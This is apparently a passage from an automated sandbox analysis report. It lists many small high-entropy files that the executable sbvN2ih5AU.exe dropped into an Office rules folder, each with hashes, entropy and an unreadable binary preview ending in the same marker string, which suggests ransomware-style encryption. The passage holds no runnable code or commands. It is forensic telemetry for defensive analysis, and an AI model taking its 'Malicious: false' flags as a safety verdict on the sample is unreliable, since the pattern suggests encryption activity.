SHA-512:	CF2F863F01751C084B96F1666241289576FBD114E0EE6D3681F84EDB1A18A7181D62B3252973420758163BED4B2322BFF1EAD644E0AD1F28A37E8659D14FBA8B
Malicious:	false
Preview:	.<?....Z.H.EJ.r...+8..g)....\.T.:.......J....B.v.C....z.$..7....F.3'....u.;...$<............c)..u7g....^.?.i.2..[...:f....)..r.I5bh{7.@,.....e#r._.H.(.a.5:...p..g..@w.;..t.7G..H...Z...Z4...U.P..]...[....O.d...[.0..;l2....q.9. \.kZ.."J"9....g.o...-....+C.'@..P.....F....rrW..f..BVF.....O.z<..Y...b...b7.[...V.CC/e.B;..i2VCH.H5..sr.E.:8....90.iC..?......p#...u...Mu.o.'/....'.ON@........6.+./6...'.Qi5R.S.....s.e._..3.....F.a../...E.cE../5Z......S%c.Q...a...'..%...o.:.....8.W.U1".8o..H.l....]..g....Vh.Nm...C.b.^......'S..v.X.......&...BXU...."#...n..Q0e%.:......W.<..^<...yzB. ....}..D...6..S.f.<.j..L..<.......bvL.`.b.r.<..'z...Y\|!~.u.Vg..U...#&.Ntsx.I...K.D..H.I.r..\|......)..."..Mi.^H.P....7w.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120617v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.718992028136089
Encrypted:	false
SSDEEP:	12:DmG1wbGf7rrN1qwDFcXDF3e2G0dxffCnInk3s+WWZLEZNfUBXOZUyHmVYO9bfG/g:DAbc1qWADNJtfwInk3snmEZNf2XNyGVX
MD5:	B2434BFEAF12EA1D09F06319D989CBDB
SHA1:	12C65AAE5312564135A534C1EEB0EE57517739F9
SHA-256:	A2427F6EA136123FAE0A5E4B88B791A38F46CF4BA3B6F9426665E16670D85B98
SHA-512:	B571DB70033C64EB945E513137E7214678DE97C2AF75AA92D39D50B8808ACD0B3BCA23E6AC3BA1717FF659D858B2CE1648AB5267B56310A70C6865222C82ADFA
Malicious:	false
Preview:	.<?r.}.uc.Q...#.X..$.`.<.$...`...L6..[.....Wgl.m[].....jp..nZ........(n`.r....o..d...(....&......z.NDN.>Q.....ek.-rFf. .Hwr..'.1D..h.Q..IY.=.Z..l....e.N ..S.....:_e..y\|h...JE.u[..T.&..5.>..-+C0..O#P...J.?\|....L....G....I._.....Dk.....d`...N.....C.vF..V.m.s....,.2}.9...%6..I$g.O..U...O`.mg.X.?...y..j..uEA.....X:3.,=. ..F...4....s.._Fov.O....e.F.x.^G..m1.0......p...G...C%.....U..d.......A.!..d..i.....2.YX.d..5..j.N.J0)....V........Cv\....V...E.o.oB%......jN.a....V.S.9..6.."<...w...P....F..6.u.6..e.?..V.w......."izLz...I.7..<_...D.+.Wy...Y.vP8.gMW.......~-...oO....Cm.Y..N....J.....7C).9k#..>Y&\|........P.R.'.....W.#z....W....X.#.....q...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120618v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	7.745377743793512
Encrypted:	false
SSDEEP:	12:Oxv6ngTtWm7CCV3eOyGCApNkAkhLifyUaTKIm8XyDSBnkGKfFIoQjky7CvENQrwH:LnwBeKkzhLiqKryEfFqjkyLNQ0qV2bD
MD5:	C6F4551666EA1674DE2A75081262E643
SHA1:	C2555083642A26D74C8F9EFFDB6D7F6A2150A8CE
SHA-256:	37BEA5B90E77CCC77BEE33228495DBF801A56B5A9D870AA43C01FE4F4B3513D7
SHA-512:	476BEA9B47197BAF37CFBBA28B179D395FFE419EF848F59402CEA673AFB3145C602498D46BBFF3B54C15BB9DD7485CA5909BD2A0A73AAA0A8B7A17E2DF444C98
Malicious:	false
Preview:	.<?....&^\,....e.}.c....V.......o.r.ve...C....^..F.^cdA[6DHs...{...&.......r.?\`q..(P..:...........:.1...V..A../....a.K@...mN5..."..&.!..e`..j.$"^+.....J..4.s...[.q...."..........g...,...b.....3.-.6....XU.......P.u .....4x...)w..0....T.F..jM."R.\|kN?7L.n...&..q.&....0./.g...AM&.g4@Q..m.<P(.tZ..F...(..~>;...7 Hh..e.}..%.Tik.} 0..@$.....)M0.AZ..Y..K.o..y..eU......R.....T....z......_.e.KC-.}../RG..o.[..l._......;.2..m...%..L.. ..KF.....0.....1.../.l.LKd^..6.7].xt..V#.l.:?..Qc......D}...E.6Gm..X.......$C;.Q..l.Q.5.F..6.}<`.&......Q.a^..`.b...\)...]2.....f.[......5..(.L.h.....Y.0Y..[..y...~..E,f...t.R..,.H....X.%.;....z.....@...Z.x3.<.J...+.C...2......}.4....U!R...-.5t....SqX.x.*TJN.om./...\.>...0..>mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120619v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.67205533772521
Encrypted:	false
SSDEEP:	12:gbFXeyUTQuAk1rmP75+yNLXTX+UzaS4ViB4CW9R6r6WSUdNcii9a:kQyUTQYqsydFh4guV2bD
MD5:	543D1C6B04DBE2A63069297594E3256C
SHA1:	F625FBB33E577A696D6AEEDC86516604DE4EAABB
SHA-256:	4EAD5453429E265AAA740507416DDDAED817044C021697C30D9DD3F707A5C85F
SHA-512:	9E6D803383818899B00B09C121612F0AE042620C84016D5845C802A4CA54A9CD13B4CD49939843EEFEEC84CF41AB935B4CF120F4AE8976FB5FFB123EEC907A85
Malicious:	false
Preview:	.<?..u...A....W.4.w.....'..&...sEo..W..\.s..:.-(.g....4...1.XX8.aI.......x]..#..k......f^....A.:..i....7.k.E.JU{.2..._j..}..b.}...J...%...1G...[-..sT2Y.m..X..5%.e...7.}hx.G.l..l.....S...O5.....M..9.Y<r.....gk..6M..<JN+.c...[.k....G.g8....`........;.ku.B..9.&.......2kK,Y.8......5,.....k..B....w.]bY....C.........0i.....O'..)..}.....e..b...y.5...>.}l."%T....j?..-....q:l.. \|46.zi...0H."aA...rRZ....f..\,#........5..!.OJ(.$....(..).....N..'.c..N....@V!..!4M....^DO.\|8....v..@.D.z......w2.......u..,{....".c...u..."C...5azl..n[).._46?.dD+..)!...b....C`X0....Bv...1..4VIB.5?..w.c..x....;.{...FE.WC.c...d.C..'.....q.TV._....5~f.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120620v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.749987224098098
Encrypted:	false
SSDEEP:	12:xrAgOMnEFOQgOdf0pjP7k42pJNXVCZgdoQeDx1ZXW1iQe/Q0qU6lrbQSUdNcii9a:xrAgVnC98jPH2vDdorHqPy6dL2bD
MD5:	9F46A51F3876D6337F1130CCC6B4C893
SHA1:	88C75628DDB1C050DB29039EA224C3EA5A863FA1
SHA-256:	BD232F082105058EB2F5ABCD3BB3D71B8FDA41F38EBC864BDC7BAA0BE903BB67
SHA-512:	E18348B3DEF8E5724DBB874CE93345B5EDE870F4F340D3A1969A5F25B76564B879B9D930CC552CFBC29CF796FE70F61A5AFC303E542BD5460E46E05B5BE8A62C
Malicious:	false
Preview:	.<?.Q.M.bH.Q_...8.......f.$.'..&...D.:Q...\|"d.-.lQ...$....#;8...\|.!...7.i..x..PITA;v...#..9...k...Uw....P..7+W.%`.X..m.....?d.....c....n..\|.....z.....1...A...B.fL..Ci.&f.J{.U..u..4...b.Q.....l......W.....FF....L..!a.......T<.a...Z.....!].).......o...)M..J....D..@.;.4........b.._...(D[oG...Eu0e9...^...b..UgT.1U......&A3.....R.k.cd....O..=.....+\|.P 7.....8.W.....m.b2..U7.9...U;e.....j....w..w[...E..1.....9.L.$.^.....K..X...E.V..e.h.^D...l@.\|.U.C._......]..s[...e.c1YN....P...#...Kd.1x....S7.9.t.5z......S.%.#B}..=..:C2..F..P<B..&[..^.#.n`.E...=..>..=..=...y.~..V).....O..r.8K...+_...L...D.oi...M..1.M.t&Ib.....%.Tn..#.Y.P.Bs...0`.:RG.m..p......\|:.9G......*....>.....5ixmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120621v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.688923530112733
Encrypted:	false
SSDEEP:	12:RcArjyAbhWYmDxAAuMCoOojsbNWMuBG+JJG4Xx2akT4AA2VZw3Wxaax+WSUdNciD:RcGj8YWANv+sIMuBG0Jv2ljA2vw3WxFr
MD5:	8A448125D270A9BD27F9F17705DC3E02
SHA1:	D97F8323BE9761E4AE22776AB2D01C815F27BE9E
SHA-256:	EC98AF4B0D8BB3918E353E652BEC249844B5538DA0E61B0C7889D9518F03DD53
SHA-512:	2A1DE6288EA8450E12AF9D85EFB76CB5356B4D1C641D15FA3BA603CBA613D63BBDEEA504080CC07500F38A9E766CE5A53DF823CC2FDC062B533BADE08C244052
Malicious:	false
Preview:	.<?...k..R..em..+....B.....q2..u...{..Y....b.!f.+.y......C.y.V...O....Dz.1.x..t..E....s..0....da.}...~...2AHe...:.8..M...y...9......`.7.....[\|x[..7 .Dy."Q.}...W)..u..&...uhJ...N.U......p.h.2..$.g...zX..p.....4.w.L.r+.d..........3.".....Z. .2.}.d.N.y{.....h....Z..\<.R+Fi.e..Fy."...u7YS.V.....Bb.`QIJ.<..g` m...0...y.#......u.G7.,.....5L.-.....=.<Ee....]...;..>A...Am?-Y.....1..........A...m.-..(.9..H...7......1,q.K...P:Q.....X.Zw.V....G.r.k.h...Xze....3..fKq.. ...R\|..$tb.]S.Q.\.,.Vq..C{S../z..V'...>...kWEphN.......H..K..3.Df.\|5B.y[<.z...H...[.^.KA.....9.GhZ.f..H.f4..Z....,.^^y.(d..w..9..N..L]...Ke.OD.}'..*A.}......J.?..Y..\.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120622v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.731020001937447
Encrypted:	false
SSDEEP:	24:U+r2Ekudd0GDQ95Bv8xuS3yhhN74o7V+o2bD:Z2Ek+fbxunhN74o7MbD
MD5:	90089195A43F5D28BFE4A2664815E9A4
SHA1:	87F2A16D3FB37F2E5BE1495023AC63B04A3D7887
SHA-256:	1C0E3AEF048A9B5834426BA320DC9F1B0576A360A4A7D866F3DCFE54C96863C0
SHA-512:	B92FB1E6AA75ED8F9E994E030ABBE4105475A79FF006C47F9483515DF4B5E55CF7A056B97F77A3E28D0F741B0B9F8204AF5DBF69CEA518FEC74E8E0041D36F57
Malicious:	false
Preview:	.<?...B.......\|.W.....p.s5+.\...>."\.0..tTO.I..T`....9..y.%..bg.-+4.)..HU.U=A.2.....z.A...?Y......H7.+..g......v...%.t}../...7...=>.`.....v=....z.<.."nUA.F=...l.z.=.g..@..._6`.jN....-{..Tj...v.S.u...a......&.;.E.hH....f....!.kJ..`.~`d...>2A..s2....} ......8....5.o.2..>...z3...gv.%......0.`[..OM..Ze.''.9....f..br.7....6...u8=..9w....w....I..".\|.]^4.Y.Z...#U..YT.2(-.u..Z...O..\..>...5......".0...B..K.av..j.......w?.Z...s?.!G..".....Q&..\H.~.1......{....GP.G....~..I...!4j.............w...."Y.W.N~..q....F..F....U......^...4.#..{.........P.........A.`Z..UXDQj.r..nS.l.>....,.....;.D....G&.;...b.G3.U}....U*....>{..G:.(.....,...1...5/..q...b.h.^.p....l..#..prKM..BZ.z.!..B8..j...a,...^mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120623v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	798
Entropy (8bit):	7.745307132992455
Encrypted:	false
SSDEEP:	24:zhYvm1BNSouN2vwqRJqJrotkNnV4eT92bD:voDGfgEtkNn+eyD
MD5:	9432CDCB015C7D817E9168A6B3182A80
SHA1:	BA44FBF6991E1527A8213C1C9C121284537D4F44
SHA-256:	FAB1F23944861C0C36F5107E9E873A01048E9AB0A9ECB118504E022C43F4083C
SHA-512:	6D677CF72D8C432260B7010E39080EE275BA2CD6C697C8E969398486736D242AD3C28C42441A274B2837492E766BC8778F8B0065F8EEE8D66C16C00CDEA2EC32
Malicious:	false
Preview:	.<?Z.........QR1.<.}J...i.n>..?.Z2.SqO..1.F.!....,...i),...-.a....A.e@ .B{.j".>..f.j..&.y....7 ..E6[ ..a..".......h.k........."h....H.....=.f...$....If....l.)..u.Y.........CU.A...$..q.y..NnE.W+..bV........1..S..J..'..S.3.u...@.#%..i..?m..ke.b8..x?.U.!u.D!.l...(.5.j......,Q/....=.............s%.F..mY..1.?B...%......Z...."..o.....7.@....P..9.....,..'...b&A......Y...J..X.HH.K3....O1.!.y.Cx..=..W v....'......oQ....u....=..(z+..)......t . ...j.A.7X2...B......L_...B.p....*~@......:.+\ABeq$^L,u{.g....zk...V.......=..T3.1....}../.&..?ygQ..7.1.;.l.6B.]..!jT...z.XT...Lm..w....e!.......'4.=....c....?...9--....]".z.C..a.h...I.g.!M'..i[H......dt>.cN.T..+S.H+.Q/./X.{.u)..4...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120624v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	828
Entropy (8bit):	7.742601652204471
Encrypted:	false
SSDEEP:	24:5POjI7zDGVOXcv7xlUuAaC6KfsBgNrfc6Ro2bD:dOc/MvNl3/IbD
MD5:	2E2CFED233BEA9B8DB94AC622C215598
SHA1:	90B46B6D384C50B969B82258EFA9BBDC3A06475D
SHA-256:	DD453B356B0D126F8D8EF711AE71CEBE160E25C14DE30E2AE1D8B4F7206B434B
SHA-512:	A412B4E7A3531B7EF8A868B4B99FA8C29750686266F8D231DF061F488F095A5C41E7C33CFA3A1A108DCE60DF809217568CC8F8D0A46F17D7730A2F8164443517
Malicious:	false
Preview:	.<?....l".i....j. .%=.o..1d .C.Y...r.9.........s.@...O..i.n..`.n..%.M..Z!...\|u\n.....?...........u....^B.1w..a..=y.4..#p].._y.)^.....~%(..n_......{...&...<.?p.C..$......8.F..._.vn`..(..G.. ...d;[.Z......p.R.;.[p\|'m.W./h!!...y.B..R.@P.%...TV.e.......c.R..Ts^\K.N%..Kn...@..d..J.O.9>5....+....a+.xp..#....K.w....`\|..\|.^...)#EW.^<d..~i.0..-..N.....J.."..... ....@.Q.>]x.js....V.!@I...(..L;{..I0...b~.6.?.@.Bixh.v....................(...o.3......h1.J...].].B:'[9C....5....N`.T.6....;,WO.+.....X%.c..."<...Z.A.8O.c......h.{%.P1..f.C....+)wh..,.{.."...V-....d........q.Z.u..73......h0_y.Q.cg!?B.,.&n......}..R.vi.IY..w..{.....EH.......w.O..m..LF..rb....)...["pa..n.qm....W.n.mf..Z....*.".<Q.g&...%.....A5...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120625v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.731707955878215
Encrypted:	false
SSDEEP:	12:zJgVs1EE1sjisBK1T65fGAQcHrqzTWRsDB2pVvZYaVE1wYU6PurRknASUdNcii9a:zIs2E1Oi3T6BAcH+zTWKDabda2Yuyn3w
MD5:	EA710943B1AC4E104F07400BB08E6C1C
SHA1:	635B12A1A94E982074074977212B2589A2EDB351
SHA-256:	A184FAD87A92FB1F07BB57F9DAF38717E77E97246C34B2AC81A1B2855F453194
SHA-512:	AE6155D566D09695B87AEC57870620A8B4B254C1B45193524EA4AECFD8B24D2CB0DB828CB44F6F2B51BF2A49188A86F2A129EA8E30EC50360AD0AA18BE328670
Malicious:	false
Preview:	.<?&.q......Ob$C..4.J...=9.. .;JQ.....S..cSQ.......c........P.o.p1.<.(92.(..1..@R..]=.N..hr.v..}.`..2...a.Q..p...y..lCx.M.....z.sS.2v/..!..`.]lL...<..v.q=l.c..=...p......Hzc.O.....-.......?.PR...}...?'O8....D...8.....MQ{)..}j..1.y..%..r..8.a.?..P.../.zI.....J.Z.+..6........I.v..YjW!$D.......$J.......z1.n.M..!].xU..N..T..~.I...1.n8(.GQC*d`._..Q...n.....q..."#.{....xA.B....:..]...q.@.Xv.8. 6..c...3t..BjUZ...X.......,..O#.miU.='.!.....%......./.d\|...J.....k..D..!i..u.V6....dM....u.....M...o..WQ<&.l.&!....~...X...)\.x.Y..c..e4j..g_...o.w.Q..A....+.+.oj,kv..'w.9[xm%...F....m...\.V......6T...X~..X..].b....R..I.1..BB..$...h.......7:.M.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120626v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.7471324613578
Encrypted:	false
SSDEEP:	12:taWoYcqLXavSaGZ64M/gwqEqG2At/+/A0NBTBNDVOHAFlVMD9WU4Ty1KLFSUdNcq:tdFcMaOfMYmH/+I8Oga9WUX16o2bD
MD5:	2660277742613D8239BABD7622128D9C
SHA1:	FE33D349A960DC50FDF7D6872F5A6A514631C836
SHA-256:	581DD6AA4BCACE0B7BA4E6C4B8F25E8F31C33F798A3386A824590AA699B07521
SHA-512:	420C935E7795F621978D85032B0CB837E23703CB8D2327371AA31E071E9CA33BF96B97D4C42277C36848250FC12151A0E9BE506953EC75914533960473497863
Malicious:	false
Preview:	.<?.(....j..8....B`...U..<r.#.......R.....>eN..D.@%...)+..U`{-\|$5.&V........L..lB._.G...V.....Z.@..qL'[gn.q.z.s...:...s.w[.].O-...h.'.D.i..aL..7N....3....Ug..8s...]..r.`D.@w...J..B.&.X#.ri..4.X.........D.s..v.p...?.FGrO@z..;.7..Hx....Hx2-..La.N9...J9...\|...QkrG. .)..u.y...../&.....0.Chen%pn.....;.M:.K.S.gv.2.,(...<W.....,..3.+'.M.!...v..t....]Z.5B..g.(_.d.....Di........jd?.+7P..v.p4k[]%..3..d~.h.&..W.ui..A.#......>D...I.'...E..Z=.0..L.0.v?....Iw.^...n...'.p.....'5..<~.....%,.......k0m.t\|-t.g.k.2..>)...0..m,. .&v.....7...8... 3.^.K.\|K4..s..ic...y2........ (4B....@.\|...u).al.....i..]...^......N...v.@.S..nKv...Ly.......3L....ok.U=b.....\...j/.s;6...dx.::..w~..j+.y.O......mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120627v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.675918753260907
Encrypted:	false
SSDEEP:	12:ddfnv7tH/fE2SS0kibTWDyofJWjy3uc8+SKGTblTAKZrffhnuRY8aisxg2WSUdNX:3DhfNt9Q88+2RsKZfhnue8aisxX2bD
MD5:	9029317FF9B63BAEA7072274F6112DA6
SHA1:	2B4E9A2E097EDB30A888393D83A9D6E85A2C33A0
SHA-256:	966269203F77AFBC4D2BDAA99734DBB3B40A55C31964416B83ADD2D95884C011
SHA-512:	06D201E3A208042B8383BA9960FD72307BE8FCB7040A620F221679CCA3A6CF5893500F3049CE284D98371626DB1DB4296E3C33AA011C0552FB84A4816BD4DA55
Malicious:	false
Preview:	.<?.....T:M.tL....gJF..xz.~.G..O$..:...B.Rx.;....{.....V.%..h.HO.<.Tt..C...~r...uG..w".....v...BB(.t..i.w.pd...d.0..0J.n.V..u}./x7..?.x.$..Su.~.....].s._...t../..@$d.@T..Vv...i.,.;.2S....Y.A.2u.d..>.k..w..M..f........\.....=.Q..n......K.k.:.....0......m...q...d...+...z?z.....Ms.M......*.<x.H3...98.2.81..e.u.c^.K.'....Z..8.a.X.6.w;V......A...#:..:=c..=..N...#..2.l.[9]N..N.K2.D$...L&D.t.....5...cc-.y.J;q.].v..8.h..+#...._..'..I.;Zf..;.n..n"o..m...uh5........G...s....p.vc2D..d..<..<...t.f..>..../......f..%[..$........z...q....X.{+_T.h.~n..".......nO.i.+.. .X..h.......J...%....W..,......C..I.P7.....Q./.9...F.[........mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120628v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.757141968236107
Encrypted:	false
SSDEEP:	24:CVeIg+QPHt/21RYmm+LUR6pidr+Dp5FQ+cufpE3Lw42bD:C9jQF/lr+S6rp4+cufpE3LwrD
MD5:	3358322A597E0A8168F977E20DA365A1
SHA1:	F2FFE46BB04A345943E036AC4E513067AFCBC8C9
SHA-256:	76EE76264B90CD2A8C503924A2683F4CE4A7C6545688C2595E662CCD5EC68E86
SHA-512:	3F96D2867F1B389543A0FA5065DEF0F8A7413FAEAF1A246CD37EE86EC6F4E51645175C9F99732F9A1CF540EF809159C03305D26A7598C6A8CB0383B8E0402FA6
Malicious:	false
Preview:	.<?....W....X.... ...lA.s.e.JzJ...4..Q.K...l......ww.\.'.o....6.o6....".k....2/.J..w....a..... P.H...#.....}.Km.gY{^?_tl.._.#....6.tC.....$T.....C.f:.3\.8-..TgU.I9F.dKw.2zS...,q.....l......>.J.#_.Z.:<.vd.rG.../...^..'!w.mj.....7..\:..7.m`.gD..o0.I..x]...m....u.......0..TX...{....xt.F.1.'...c...l.>+t.q0P..)...(eM.:.;.I...........F[.:.F.m.....e..Qh5.'..kf.)..B+......$P...(..aT?_:L...h..\..`2<{. }.7w.#....Xo.-...~..iE....M..V...X.....a..Fh._.B.$...br.)..$..Z5..1..f....A......g!..q..N.7E.}...ku..e.X.....A...*.AGH......J....^..0`mvF>.H.WZ..?.... . ....hK.=L..._;.........K{O......<..tD]....Yy..a.M.B..L...&x.s........qi>.S\.}..._,.]..5a..2;.t.Xg..A..R=.YO.~.y..g?....~.E.w(.......q.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120629v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.713152843275682
Encrypted:	false
SSDEEP:	12:/OI3vyoMFsBqALvoAZbC1UJO/ecbNhAAwIjjjuNeRoRnUPdKeKVSCec66gjZSoWB:/lvcALvN80OTNhAUeNenPdKeKV7gjZSd
MD5:	302757F5C35A540ECA65BC07BB62BC29
SHA1:	13E3D0881FED7560BEBFDE16461A99E84B71D8BA
SHA-256:	F7CB64ADF13F5F9F69B8A9B965745D1127210F5D77B72CDF0D55360EFD7DB178
SHA-512:	9B793F4D6026CE0C603E20A8B535563F019EC08AABD62274E123BF8E1C1399462173C66774045BDDB175D7DA9903C78E25A0EC0F911ECA51B3C487D00FC136CB
Malicious:	false
Preview:	.<?;....7....b.$8....g\~x.z....1..E...K.(w..pUp._."X..c...^#-z..o.r).e....j..`=.1.f..".....2......h..E.0g.....;oHdPt..p.....S%x.......8B..O.....5g.j?.~k\|bU:.$..E..N.(B"..6......db..M.Yo..0...D.c\|./U]D."2..Q(..l7..I..>.O..:..\|.U...d.^:...A.v.'/.[v..r. ......\|q..C..fL..{.....ccLL.o.h._...Vm8...y..,.1(.u...ec.cu.s..y..C............._...Qs..;5...l...y5...Q."...?.Xn..._..c(f..o~.m%....(...s.9f..HC..h...%l..-L...@..C... ....8..ow.."3Cj......[lGi.gU..B.\3a.b.@..,...@....?. >.Y..p..9%....1......S.Nq....wG...#R0...M.}...#..b9th.fp..{Mg".rI5Q...E.x.Y.%...n.kjlR...[.`a.m..9Pw$.!..8.6.....N..zSM&z..R(..OaQ...j.d.."jZ.e.?p..2..v..}..nN.....+.....7O(s.qW..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120630v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	833
Entropy (8bit):	7.696978176200795
Encrypted:	false
SSDEEP:	12:XYxv0+A90VTp0T6vzHY03bDWbXel/VDqYAO4Xxjrm7bRoEMEOisxDdFSUdNcii9a:av0P90V97/mXZO4Xxn+6EMxisNdo2bD
MD5:	380BC4F55D010D968ED130CD74B28C71
SHA1:	B3AC670CB3BF387A9A5359339269DB08741EFD27
SHA-256:	8D41D5140475F00DB1EE86D7DDAC1E041C125238196B0DBC10429963492894C5
SHA-512:	35E44DF46DD30FFA73414F33DD9EACBC8F82A04DB02978C47D9E93B6CA5E8012B74F338DC6BB42424A0E1757E83459785491C69013B75D9D527A943E54D86FAC
Malicious:	false
Preview:	.<?...!..\|.JLV`..Bb./.i..8_,....nD.Nf.b.k...M#.P.h........1.J.D]..Y..NH.jO...Z.........f..N..,&U.+&}.s$..V.p.WH.q[..s.34..P.p.\..(@....L@....i..I,J.2...do.J...Y....-.W.y..p.5^...Os.A..)H..+..Kb..V....j.L.0[u_'.2..q..d1..z...Cf...K..9..f)&...H...d.......#"=.._...P..'...%.V..8-9.m..\....k.O.'....#e@S.K"b...B^/..2..\..../VY.....V...........6p9....z.O...[..R..6D..H....n..f.I.....X..A.ux.Wo....a..M....e.z.@S....e.E(.....S...A.H.b.5..2..k!t..A.e.C.#.....-d^....C:q..P&..\|m=.....F...$4.tJHo.,...Na.+.,X ........qh..=..:S. .,..h.h..-...../A...y......<8=.s......%/./.Y.-........N@.?B.....K...X..wu.X=.....0<.k.7.+5\|.x.z..`.fObnV..V..]..j.......Q.R..... ../....o\..............$..G.2wV.0...]s..... =\.~..Y..v.$..s.~*.....\|0.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120631v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.647280398687831
Encrypted:	false
SSDEEP:	12:Jr+4kDCFkPLCKJSVhVJx1YeC7HdtpdPTgruj2qEeI3OzQAG2mfci5pTohDfSUdNX:5pBXC79tmuyP3Ok0mfth8D62bD
MD5:	DC1E4BD7730651837F32912FE511B015
SHA1:	4154ACC394DBE31D235C701FC7C37A5D58658604
SHA-256:	4E109602579F3AF53502DECC6A1F6476E1495CB1B0C193FBD4FE4EEBC962A4B2
SHA-512:	E04EB470205AB810C8884DFA4A700BA53308579A9334DF272E5DF3A343A0D048E4D68EF86EA745163F6D950EA92C6DD7F54F9B5E0AE2F84D76F29E1338A11C48
Malicious:	false
